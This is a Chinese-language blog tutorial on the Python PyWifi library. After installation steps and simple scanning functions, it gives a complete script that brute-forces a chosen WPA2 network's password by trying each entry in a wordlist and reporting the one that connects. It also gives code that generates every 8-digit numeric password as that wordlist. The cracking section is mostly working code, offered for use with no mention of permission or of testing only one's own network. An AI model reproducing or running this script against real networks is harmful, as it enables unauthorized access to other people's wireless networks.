1、PyWifi简介+安装
参考内容:
https://pypi.org/project/pywifi/
https://blog.youkuaiyun.com/qq_41185868/article/details/80396915
PyWifi是通过Python编程语言来操作wifi接口的工具包,安装方法:
在Anaconda控制台中输入指令:pip install pywifi,安装Pywifi包。
登录Python,输入语句import pywifi。如果未出现报错,则安装成功
2、Pywifi的使用
参考内容:
https://blog.youkuaiyun.com/qq_41185868/article/details/80396915#pywifi%E7%9A%84%E5%AE%89%E8%A3%85
在IDE中创建新文件,引用模块如下:
import pywifi
from pywifi import const #引用一些定义
import time
获取wifi连接状态
# 获取是否连接网络
def CheckWifiState():
wifi = pywifi.PyWiFi() # 创建一个wifi对象
ifaces = wifi.interfaces()[0]
print(ifaces.status())
if ifaces.status() == const.IFACE_CONNECTED:
print('Connected to wifi')
else:
print('Not connected')
函数执行结果:
获取Wifi名称(SSID),返回所有扫描结果
# 获取并打印无线网络名称
def GetWifiInfos():
print("正在扫描可用wifi...")
wifi=pywifi.PyWiFi()#创建一个wifi对象
ifaces=wifi.interfaces()[0]#取一个无限网卡
ifaces.scan()#扫描
wifiInfo=ifaces.scan_results()
for data in wifiInfo:
print(data.ssid)#输出wifi名称
print("扫描结束")
return wifiInfo
函数执行结果:
3、Pywifi破解Wifi密码
参考内容:
https://blog.youkuaiyun.com/qq_28840013/article/details/85141156
通过SSID名称,调出扫描结果中的网络配置
def GetWifiProfile(name, wifiInfo):
wifiProfileSel = None
for wifiProfile in wifiInfo:
if wifiProfile.ssid == name:
wifiProfileSel = wifiProfile
break
return wifiProfileSel
根据给定的密码和网络设置(network profile),尝试连接
def testwifi(password, wifiProfile):
wifi=pywifi.PyWiFi() #抓取WiFi接口
ifaces=wifi.interfaces()[0] #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
#print(ifaces.name()) #我们可以试试输出网卡名称
ifaces.disconnect() #断开网卡连接
profile=pywifi.Profile() #定义配置文件对象
profile.ssid=wifiProfile.ssid #wifi名称,貌似不能用中文?
# profile.auth=wifiProfile.auth #const.AUTH_ALG_OPEN #auth - AP的认证算法
profile.auth=const.AUTH_ALG_OPEN #auth - AP的认证算法
# profile.akm=wifiProfile.akm
profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 akm - AP的密钥管理类型
# profile.cipher=wifiProfile.cipher #const.CIPHER_TYPE_CCMP #cipher - AP的密码类型
profile.cipher=const.CIPHER_TYPE_CCMP
profile.key=password #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
ifaces.remove_all_network_profiles() #删除其他配置文件
tmp_profile=ifaces.add_network_profile(profile) #加载配置文件
ifaces.connect(tmp_profile) #按配置文件进行连接
time.sleep(3) #尝试几秒能否成功连接
isOK=False
if ifaces.status() == const.IFACE_CONNECTED: #判断连接状态
isOK=True
ifaces.disconnect() #断开
time.sleep(1)
#检查断开状态
assert ifaces.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
从字典文件wordlist.txt中读取密码,并尝试连接给定SSID的Wifi网络
def CrackWifi(wifiProfile):
path=r"wordlist.txt"
files=open(path,'r')
while True:
f=files.readline()
f = f[:-1] #去除了这行文本的最后一个字符(换行符)后剩下的部分
print('[-]正在尝试:', f)
boolVal=testwifi(f,wifiProfile)
if boolVal == True:
print('[+]wifi连接成功!')
print("密码为:",f)
break
else:
print("[-]wifi连接失败!")
if not f: #如果文件逐行读取完,则退出
break
files.close()
主函数
def main():
print("开始...")
wifiInfo=GetWifiInfos()
name = input('请输入wifi名称: ')
wifiProfile = GetWifiProfile(name, wifiInfo)
if not wifiProfile:
print("非扫描结果,退出...")
else:
CrackWifi(wifiProfile)
if __name__=="__main__":
main()
函数执行结果:
4、字典文件的生成
参考内容:
https://www.jb51.net/article/143322.htm
生成内容为所有8位数组合,输出文件有953MB。。
如果有更好的字典生成方法,欢迎留言。
import itertools as its
words = "1234568790"
r =its.product(words,repeat=8)
dic = open("wordlist.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()